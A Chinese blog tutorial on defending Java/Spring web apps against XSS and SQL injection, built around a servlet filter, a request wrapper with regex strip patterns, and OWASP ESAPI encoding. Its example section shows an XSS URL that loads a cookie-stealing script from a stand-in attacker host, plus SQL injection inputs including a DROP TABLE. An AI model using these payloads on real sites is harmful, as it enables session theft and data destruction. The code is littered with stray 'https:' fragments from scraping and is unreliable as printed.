ITPub博客

首页 > IT职业 > > 预防XSS,这几招管用!

预防XSS,这几招管用!

作者:码农小胖哥 时间:2020-05-28 15:54:48 0 删除 编辑


https:最近重温了一下「黑客帝国」系列电影,一攻一防甚是精彩,生活中我们可能很少有机会触及那么深入的网络安全问题,但工作中请别忽略你身边的精彩

https:


https:https:大家应该都听过 XSS (Cross-site scripting) 攻击问题,或多或少会有一些了解,但貌似很少有人将这个问题放在心上。一部分人是存有侥幸心理:“谁会无聊攻击我们的网站呢?”;另一部分人可能是工作职责所在,很少触碰这个话题。希望大家看过这篇文章之后能将问题重视起来,并有自己的解决方案, 目前XSS攻击问题依旧很严峻:

https:Cross-site scripting(XSS)是Web应用程序中常见的一种计算机安全漏洞,XSS 使攻击者能够将客户端脚本注入其他用户查看的网页中。攻击者可能会使用跨站点脚本漏洞绕过访问控制,例如同源策略。截至2007年,Symantec(赛门铁克) 在网站上执行的跨站脚本占据了所有安全漏洞的 84% 左右。2017年,XSS 仍被视为主要威胁载体,XSS 影响的范围从轻微的麻烦到重大的安全风险,影响范围的大小,取决于易受攻击的站点处理数据的敏感性方式以及站点所有者实施对数据处理的安全策略。

https:XSS 类型的划分以及其他概念性的东西在此就不做过多说明,Wikipedia Cross-site scriptinghttps: 说明的非常清晰,本文主要通过举例让读者看到 XSS 攻击的严重性,同时提供相应的解决方案

XSS 案例

https:不用看 XSS 案例的,请跳过此处,直接去跳到「解决方案」内容https: 。Bob 和 Alice 两个人是经常用作案例(三次握手,SSH认证等)说明的,没错下面的这些案例也会让他们再上头条😆

案例一

https:Alice 经常访问由 Bob 托管的特定网站, Bob 的网站允许 Alice 使用用户名/密码登陆后,存储敏感数据,例如账单信息。当用户登录时,浏览器会保留一个授权 Cookie,它看起来像一些垃圾字符,这样两台计算机(客户端和服务器)都有一条她已登录的记录。

https:Mallory 观察到 Bob 的网站包含一个 XSS 漏洞:

  1. 当她访问“搜索”页面时,她会在搜索框中输入搜索词,然后单击“提交”按钮。

  2. 使用普通的搜索查询,如单词“puppies”,页面只显示“找不到小狗相关内容”,网址为https: http://bobssite.org/search?q=puppieshttps: 这是完全正常的行为。

  3. 但是,当她提交异常搜索查询时,例如https: <script type ='application / javascript'> alert('xss'); </ script>

  • 出现一个警告框(表示“xss”)。

  • 该页面显示“未找到”,以及带有文本“xss”的错误消息。

  • URL 是http://bobssite.org/search?q= <script%20type ='application / javascript'> alert('xss'); </ script>https: , 这是一个可利用的行为

https:Mallory制作了一个利用此漏洞的URL:

  1. 她创建了URLhttps: http://bobssite.org/search?q=puppies<script%%20src="http://mallorysevilsite.com/authstealer.js“> </ script>。

  2. 她选择使用百分比编码 encode ASCII字符,例如https: http://bobssite.org/search?q=puppies%%3Cscript%%2520src%%3D%%22http%%3A%%2F%%2Fmallorysevilsite.com%%2Fauthstealer.js%%22 %3E%3C%2Fscript%3E,这样读者就无法立即破译这个恶意 URL

  3. 她给 Bob 网站的一些毫无防备的成员发了一封电子邮件,说“看看这些可爱的小狗!”

https:Alice 到电子邮件, 她喜欢小狗并点击链接。它进入Bob的网站进行搜索,找不到任何内容,并显示“找不到小狗”, 但就在这时,脚本标签运行(Alice 在屏幕上看不到)并加载并运行 Mallory 的程序 authstealer.js(触发了 XSS攻击)

https:authstealer.js 程序在 Alice 的浏览器中运行,就像正常访问 Bob 的网站一样。但该程序抓取 Alice 的授权 Cookie 副本并将其发送到 Mallory 的服务器

https:Mallory 现在将 Alice 的授权 Cookie 放入她的浏览器中,然后她去了 Bob 的网站,并以 Alice 身份登录。

https:Mallory 假借 Alice 身份进入网站的账单部分,查找 Alice 的信用卡号码并抓取副本。然后她去改变她的密码,这样过后爱丽丝甚至不能再登录了。

https:Mallory 决定更进一步向 Bob 本人发送一个类似的链接,从而获得Bob的网站管理员权限。

案例二

https:当向用户询问输入时,通常会发生 SQL 注入,例如用户名/用户ID,用户会为您提供一条 SQL 语句,您将无意中在数据库上运行该语句。https:请查看以下示例,该示例通过向选择字符串添加变量(txtUserId)来创建SELECT语句。该变量是从用户输入(getRequestString)获取的

https:txtUserId https:= https:getRequestStringhttps:(https:"UserId"https:);
https:txtSQL https:= https:"SELECT * FROM Users WHERE UserId = " https:+ https:txtUserIdhttps:;

https:当用户输入 userId =https: 105 OR 1=1,这时 SQL 会是这个样子:

https:SELECT https:* https:FROM https:Users https:WHERE https:UserId https:= https:105 https:OR https:1https:=https:1https:;

https:OR 条件始终为 true,这样就有可能获取全部用户信息https:如果用户输入 userId =https: 105; DROP TABLE Suppliershttps: ,这时 SQL 语句会是这样子https: 

https:SELECT https:* https:FROM https:Users https:WHERE https:UserId https:= https:105https:; https:DROP https:TABLE https:Suppliershttps:;

https:这样 Suppliers 表就被不知情的情况下删除掉了

https:通过上面的例子可以看出,XSS 相关问题可大可小,大到泄露用户数据,使系统崩溃;小到页面发生各种意想不到的异常。“苍蝇不叮无缝的蛋”,我们需要拿出解决方案,修复这个裂缝。但解决 XSS 问题需要多种方案的配合使用:

  1. 前端做表单数据合法性校验(这是第一层防护,虽然“防君子不防小人”,但必须要有)

  2. 后端做数据过滤与替换 (总有一些人会通过工具录入一些非法数据造访你的服务器的)

  3. 持久层数据编码规范,比如使用 Mybatis,看https: Mybatis 中 “$" 和 "#" 千万不要乱用https: 了解这些小细节

https:本文主要提供第 2 种方式的解决方案

解决方案

https:先不要向下看,思考一下,在整个 HTTP RESTful 请求过程中,如果采用后端服务做请求数据的过滤与替换,你能想到哪些解决方案?

https:文末关注公众号,带你像读侦探小说一样趣味学习 Java 技术https: 

Spring AOP

https:使用 Spring AOP 横切所有 API 入口,貌似可以很轻松的实现,But(英文听力重点😂),RESTful API 设计并不是统一的入参格式,有 GET 请求的 RequestParam 的入参,也有 POST 请求RequestBody的入参,不同的入参很难进行统一处理,所以这并不是很好的方式,关于 RESTful 接口的设计,可以参考https: 如何设计好的 RESTful API?

HttpMessageConverter

https:请求的 JSON 数据都要过 HttpMessageConverter 进行转换,通常我们可以通过添加https: MappingJackson2HttpMessageConverterhttps: 并重写https: readInternalhttps: 方法:

https:https:@Overridehttps:https:https:https:https:protectedhttps: Object https:https:https:readInternalhttps:https:https:(Class<?> clazz, HttpInputMessage inputMessage)https: https:https:https:throwshttps: IOException, HttpMessageNotReadableException {https:    https:https:return https:https:super.readInternal(clazz, inputMessage);https:}

https:获取到转换过后的 Java 对象后对当前对象做处理,但这种方式没有办法处理 GET 请求,所以也不是一个很好的方案,想详细了解 HttpMessageConverter 数据转换过程可以查看https: HttpMessageConverter是如何转换数据的?

Filter

https:Servlet Filter 不过多介绍,通过 Filter 可以过滤 HTTP Request,我们可以拿到请求的所有信息,所以我们可以在这里大做文章https:我们有两种方式自定义我们的 Filter

  1. 实现https: javax.servlet.Filterhttps: 接口

  2. Spring 环境下继承https: org.springframework.web.filter.OncePerRequestFilterhttps: 抽象类


https:这里采用第二种方式:

https:https:@Slf4jhttps:https:https:public https:https:https:https:classhttps: https:https:https:GlobalSecurityFilterhttps: https:https:https:extendshttps: https:https:https:OncePerRequestFilterhttps: {https:    https:@Overridehttps:    https:https:https:https:protectedhttps: https:https:https:voidhttps: https:https:https:doFilterInternalhttps:https:https:(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)https: https:https:https:throwshttps: ServletException, IOException {https:        https:String userInput = request.getParameter(https:https:"param");https:        https:https:if (userInput != https:https:null && !userInput.equalsIgnoreCase(HtmlUtils.htmlEscape(userInput))) {https:            https:https:throw https:https:new RuntimeException();https:        }https:        https:String requestBody = IOUtils.toString(request.getInputStream(), https:https:"UTF-8");https:        https:https:if (requestBody != https:https:null && !requestBody.equalsIgnoreCase(HtmlUtils.htmlEscape(requestBody))) {https:            https:https:throw https:https:new RuntimeException();https:        }https:        https:filterChainhttps:.doFilter(request, response);https:    }https:}
https:

https:然后注册 Filter

https:https:@Beanhttps:https:https:https:https:publichttps: FilterRegistrationBean https:https:https:filterRegistrationBeanhttps:https:(https:) {https:    FilterRegistrationBean registration = https:https:new FilterRegistrationBean();https:    https:registrationhttps:.setFilter(globalSecurityFilter());https:    https:https://URL 过滤 pattern 设置https:    https:registrationhttps:.addUrlPatterns(validatePath + https:https:"/*");https:    https:registrationhttps:.setOrder(https:https:5);https:    https:https:return registration;https:}https:
https:https:@https:Bean(https:name = https:https:"globalSecurityFilter")https:https:https:https:https:publichttps: Filter https:https:https:globalSecurityFilterhttps:https:(https:) {https: https:https:return https:https:new GlobalSecurityFilter();https:}
https:

https:这种方案貌似可以很简单粗暴的解决,但会有以下几个问题:

  1. 抛出异常,没有统一 RESTful 消息返回格式,抛出异常后导致流程不可达

  2. 调用https: request.getInputStream()读取流,只能读取一次,调用责任链后续 filter 会导致https: request.getInputStream()https: 内容为空,即便这是 Filter 责任链中的最后一个 filter,程序运行到 HttpMessageConverter 时也会抛出异常。想了解 Filter 责任链的调用过程,可以查看https: 不得不知的责任链设计模式

  3. 看过文章开头的 XSS 攻击案例,HtmlUtils.htmlEscape(...) 可替换的内容有限,不够丰富

https:我们需要通过https: HttpServletRequestWrapperhttps: 完成流的多次读取,当你看到这个名称https: XXXWrapper,你应该想到这应用了 Java 的设计模式——装饰模式(这是侦探的基本素养 😄),先来看类图:

https:https:https:HttpServletRequestWrapper 继承 ServletRequestWrapper 并实现了 HttpServletRequest 接口,我们只需定义自己的 Wrapper,并重写里面的方法即可

https:https:@Slf4jhttps:https:https:public https:https:https:https:classhttps: https:https:https:GlobalSecurityRequestWrapperhttps: https:https:https:extendshttps: https:https:https:HttpServletRequestWrapperhttps: {https:
https: https:https://将读取的流内容存储在 body 字符串中https: https:https:private https:https:final String body;https:
https: https:https://定义Pattern数组,用于正则匹配,可添加其他pattern规则至此https: https:https:private https:https:static Pattern[] patterns = https:https:new Pattern[]{https: https:https:// Script fragmentshttps: Pattern.compile(https:"https:<https:script>(.*?)https:</https:script>",Pattern.CASE_INSENSITIVE),https: https:// src=https:'...'https: https:Patternhttps:.compile(https:https:"src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),https: https:Patternhttps:.compile(https:https:"src[\r\n]*=[\r\n]*\\\"(.*?)\\\https:"",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),https: https:https:// lonely script tagshttps: https:Patternhttps:.compile(https:https:"</script>",Pattern.CASE_INSENSITIVE),https: https:Patternhttps:.compile(https:https:"<script(.*?)>",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),https: https:// https:eval(...)https: https:Patternhttps:.compile(https:https:"eval\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),https: https:https:// expression(...)https: https:Patternhttps:.compile(https:https:"expression\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),https: https:https:// javascript:...https: https:Patternhttps:.compile(https:"https:javascripthttps::",https:Patternhttps:.CASE_INSENSITIVE),https: https:https:// vbscript:...https: https:Patternhttps:.compile(https:"https:vbscripthttps::",https:Patternhttps:.CASE_INSENSITIVE),https: https: https:https://在此添加其他 Pattern,更多 Pattern 内容,可以从文末 demo 处获取全部代码https: };https:
https:
https: https:/**https:https: *通过构造函数装饰 HttpServletRequest,同时将流内容存储在 body 字符串中https:https: */https: https:https:https:https:publichttps: https:https:https:GlobalSecurityRequestWrapperhttps:https:https:(HttpServletRequest servletRequest)https: https:https:https:throwshttps: IOException{https: https:https:super(servletRequest);https:
https: StringBuilder stringBuilder = https:https:new StringBuilder();https: BufferedReader bufferedReader = https:https:null;https: https:https:try {https: https:InputStream inputStream = servletRequest.getInputStream();https: https:https:if (inputStream != https:https:null) {https: bufferedReader = https:https:new BufferedReader(https:https:new InputStreamReader(inputStream));https: https:https:char[] charBuffer = https:https:new https:https:char[https:https:128];https: https:https:int bytesRead = -https:https:1;https: https:https:while ((bytesRead = bufferedReader.https:read(charBuffer)) > https:) {https: https:stringBuilderhttps:.append(charBuffer, https:, bytesRead);https: }https: } https:https:else {https: https:stringBuilderhttps:.append(https:https:"");https: }https: } https:https:catch (IOException https:ex) {https: https:https:throw ex;https: } https:https:finally {https: https:https:if (bufferedReader != https:https:null) {https: https:https:try {https: https:bufferedReaderhttps:.close();https: } https:https:catch (IOException https:ex) {https: https:https:throw ex;https: }https: }https: }https: https:https://将requestBody内容以字符串形式存储在变量body中https: https:body = stringBuilder.toString();https: https:loghttps:.info(https:https:"过滤和替换前,requestBody 内容为: 【{}】", body);https: }https:
https: https:/**https:https:https: * 将 body 字符串重新转换为ServletInputStream, 用于request.inputStream 读取流https:https: * https:@returnhttps:https: * https:@throws IOExceptionhttps:https: */https: https:@Overridehttps: https:https:https:https:publichttps: ServletInputStream https:https:https:getInputStreamhttps:https:https:()https: https:https:https:throwshttps: IOException {https: https:String encodedBody = stripXSS(body);https: https:loghttps:.info(https:https:"过滤和替换后,requestBody 内容为: 【{}】", encodedBody);https:
https: https:https:final ByteArrayInputStream byteArrayInputStream = https:https:new ByteArrayInputStream(encodedBody.getBytes());https: ServletInputStream servletInputStream = https:https:new ServletInputStream() {https: https:@Overridehttps: https:https:https:https:publichttps: https:https:https:inthttps: https:https:https:readhttps:https:https:()https: https:https:https:throwshttps: IOException {https: https:https:return byteArrayInputStream.https:read();https: }https:
https: https:@Overridehttps: https:https:https:https:publichttps: https:https:https:booleanhttps: https:https:https:isFinishedhttps:https:https:()https: {https: https:https:return byteArrayInputStream.available() == https:;https: }https:
https: https:@Overridehttps: https:https:https:https:publichttps: https:https:https:booleanhttps: https:https:https:isReadyhttps:https:https:()https: {https: https:https:return https:https:true;https: }https:
https: https:@Overridehttps: https:https:https:https:publichttps: https:https:https:voidhttps: https:https:https:setReadListenerhttps:https:(https:ReadListener readListener) {https:
https: }https: };https: https:https:return servletInputStream;https: }https:
https: https:/**https:https:https: * 调用该方法,可以多次获取 requestBody 内容https:https: * https:@returnhttps:https: */https: https:https:https:https:publichttps: String https:https:https:getBodyhttps:https:(https:) {https: https:https:return https:https:this.body;https: }https: https: https:@Overridehttps: https:https:https:https:publichttps: BufferedReader https:https:https:getReaderhttps:https:https:()https: https:https:https:throwshttps: IOException {https: https:https:return https:https:new BufferedReader(https:https:new InputStreamReader(https:https:this.getInputStream()));https: }https:
https: https:/**https:https: * 获取 https:request (https:http:https://127.0.0.1/test?a=1&b=2) 请求参数,多个参数返回 String[] 数组https:https: * https:@param parameterhttps:https: * https:@returnhttps:https: */https: https:@Overridehttps: https:https:public https:String[] getParameterValues(https:String parameter) {https: String[] https:values = https:super.getParameterValues(parameter);https:
https: https:https:if (https:values == https:null) {https: https:https:return https:https:null;https: }https:
https: https:https:int count = values.length;https: https:String[] encodedValues = https:https:new https:String[count];https: https:https:for (https:https:int i = https:; i < count; i++) {https: encodedValues[i] = stripXSS(https:values[i]);https: }https:
https: https:https:return encodedValues;https: }https:
https: https:/**https:https:https: * 获取单个请求参数https:https: * https:@param parameterhttps:https: * https:@returnhttps:https: */https: https:@Overridehttps: https:https:https:public https:String https:getParameterhttps:(https:String parameter) {https: https:String value = https:https:super.getParameter(parameter);https:
https: https:https:return stripXSS(https:value);https: }https:
https: https:/**https:https:https: * 获取请求头信息https:https: * https:@param namehttps:https: * https:@returnhttps:https: */https: https:@Overridehttps: https:https:https:public https:String https:getHeaderhttps:(https:String name) {https: https:String value = https:https:super.getHeader(name);https: https:https:return stripXSS(https:value);https: }https:
https: https:/**https:https:https: * 标准过滤和替换方法https:https: * https:@param valuehttps:https: * https:@returnhttps:https: */https: https:https:https:https:privatehttps: String https:https:https:stripXSShttps:https:(https:String https:value){https: https:https:if (https:value != https:https:null) {https: https:https:// 使用 ESAPI 避免 encoded 的代码攻击https: https:value = ESAPI.encoder().canonicalize(https:value, https:https:false, https:https:false);https: https:value = patternReplace(https:value);https: }https: https:https:return https:value;https: }https:
https: https:/**https:https:https: * 根据 Pattern 替换字符https:https: */https: https:https:https:https:privatehttps: String https:https:https:patternReplacehttps:https:(https:String https:value){https: https:https:if (StringUtils.isNotBlank(https:value)){https: https:https:// 避免nullhttps: https:value = https:value.replaceAll(https:https:"\0", https:https:"");https:
https: https:// 根据Pattern匹配到的字符,做https:""替换https: https:https:for (Pattern https:scriptPattern : patterns){https: https:value = scriptPattern.matcher(https:value).replaceAll(https:https:"");https: }https: }https: https:https:return https:value;https: }https: https:}
https:

https:至此,修改 GlobalSecurityFilter 中代码,将重写好的 GlobalSecurityRequestWrapper 重新放入到 FilterChain 中

https:GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = https:https:new GlobalSecurityRequestWrapper(request);https:https:filterChainhttps:.doFilter(xssHttpServletRequestWrapper, response);
https:

https:上面所有方法都添加了注解,很容易理解,我们看到在 stripXSS 方法中引入了 ESAPI ,关于如何引入 ESAPI,请看当前文章https: ESAPI引入方式https: 部分内容,来看代码:

https:ESAPI.encoder().canonicalize(https:https:value, https:https:false, https:https:false);
https:

https:这段代码是 ESAPI 最简单的使用方式,主要防止 encoded 的代码进行 XSS 攻击,这种简单的使用在 GET 请求中没有问题,但如果是 POST 请求,requestBody 中数据有 "", 会被替换掉,这样就破坏了json 的结构,导致后续解析出错. 为什么会这样呢?https: https:ESAPI.encoder()https: 构造出默认的https: DefaultEncoder, 查看该类发现:

https:https:/**https:https: * Instantiates a https:new DefaultEncoderhttps:https: */https:https:https:https:https:privatehttps: https:https:https:DefaultEncoderhttps:(https:https:https:) {https:    codecs.https:https:add( htmlCodec );https:    codecs.https:https:add( percentCodec );https:    codecs.https:https:add( javaScriptCodec );https:}
https:

https:其中https: javaScriptCodechttps: 是按照 JavaScript 标准将 "" 替换成 "", 所以我们需要做定制改变,继续查看https: Encoderhttps: 接口,找到下面方法:

https:https:https:String canonicalize(https:https:String input, https:https:boolean restrictMultiple, https:https:boolean restrictMixed);
https:

https:通过查看该方法的注释我们了解到,可以通过 DefaultEncoder 带参数构造器构造自己的 encoder:

https:https:List codecs = https:https:new ArrayList(https:https:2);https:codecs.https:https:add( https:https:new HTMLEntityCodec());https:codecs.https:https:add( https:https:new PercentCodec());https:DefaultEncoder defaultEncoder = https:https:new DefaultEncoder(Arrays.asList(https:https:"HTMLEntityCodec", https:https:"PercentCodec"));
https:

https:所以我们可以重新定义一个 stripXSSRequestBody 方法用在 重写的 getInputStream 方法中

https:https:/**https:https:https: * 请求体处理,多用于json数据,自定义encoder,排除掉javascriptcodechttps:https: * @param valuehttps:https: * @returnhttps:https: */https:https:https:https:https:privatehttps: String https:https:https:stripXSSRequestBodyhttps:(https:https:https:String https:https:https:https:valuehttps:){https:    https:https:if (https:https:value != https:https:null) {https:        https:List codecs = https:https:new ArrayList(https:https:4);https:        codecs.https:https:add( https:https:new HTMLEntityCodec() );https:        codecs.https:https:add( https:https:new PercentCodec());https:        DefaultEncoder defaultEncoder = https:https:new DefaultEncoder(Arrays.asList(https:https:"HTMLEntityCodec", https:https:"PercentCodec"));https:        https:https:// 使用 ESAPI 避免 encoded 的代码攻击https:        https:https:value = defaultEncoder.canonicalize(https:https:value, https:https:false, https:https:false);https:        https:https:value = patternReplace(https:https:value);https:    }https:    https:https:return https:https:value;https:}
https:

https:解决了 RequestBody 的问题,我们需要进一步解决防 SQL 注入查询的问题,我们可以在重写的https: getParameterValueshttps: 方法中使用如下方法:

https:https:/**https:https:https: * 防Sql注入,多用于带参数查询https:https: * @param valuehttps:https: * @returnhttps:https: */https:https:https:https:https:privatehttps: String https:https:https:stripXSSSqlhttps:(https:https:https:String https:https:https:https:valuehttps:) {https:    Codec MYSQL_CODEC = https:https:new MySQLCodec(MySQLCodec.Mode.STANDARD);https:    https:https:if (https:https:value != https:https:null) {https:        https:https:// 使用 ESAPI 避免 encoded 的代码攻击https:        https:https:value = ESAPI.encoder().canonicalize(https:https:value, https:https:false, https:https:false);https:
https: https:https:value = ESAPI.encoder().encodeForSQL(MYSQL_CODEC, https:https:value);https: }https: https:https:return https:https:value;https:}
https:

https:ESAPI.encoder()还有很多定制化的过滤,请小伙伴动手自行发现和定制,这里不再做过多的解释https:问题还没解决完,涉及到文件上传的业务,可以通过其他方式做文件魔术数字校验,文件后缀校验,文件大小校验等方式,没必要在这个地方校验 XSS 内容,所以我们需要再对 Filter 做出一些改变,不处理 contentType 为https: multipart/form-datahttps: 的请求

https:https:https:String contentType = request.getContentType();https:https:https:if (StringUtils.isNotBlank(contentType) && contentType.contains(https:https:"multipart/form-data")){https:    https:filterChainhttps:.doFilter(request, response);https:}https:https:else {https:    GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = https:https:new GlobalSecurityRequestWrapper((HttpServletRequest)request);https:    https:filterChainhttps:.doFilter(xssHttpServletRequestWrapper, response);https:}
https:

https:当然这种方式还有进一步的改善空间,比如添加白名单(YAML配置的方式)等,具体业务还需要具体分析,不过读到这里,相信大家的思路已经打开,可以进行自我创作了.

ESAPI引入方式

https:ESAPI(Enterprise Security API)是一个免费开源的Web应用程序API,目的帮助开发者开发出更加安全的代码, 更多介绍请查看https: OWASPhttps: 或https: ESAPI github

https:使用 ESAPI,我们要引入相应的 jar 包

gradle 方式

compile group: 'org.owasp.esapi', name: 'esapi', version: '2.0.1'

maven 方式

https:<dependency>
https:<groupId>org.owasp.esapihttps:</groupId>
https:<artifactId>esapihttps:</artifactId>
https:<version>2.0.1https:</version>
https:</dependency>

https:resources 根目录下添加https: ESAPI.propertieshttps: 文件和https: validation.propertieshttps: 两个文件,至此我们就可以使用 ESAPI 帮助我们解决 XSS 问题了 。




来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/69975884/viewspace-3169645/ ,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论

注册时间:2020-06-23

  • 博文量
    377
  • 访问量
    8058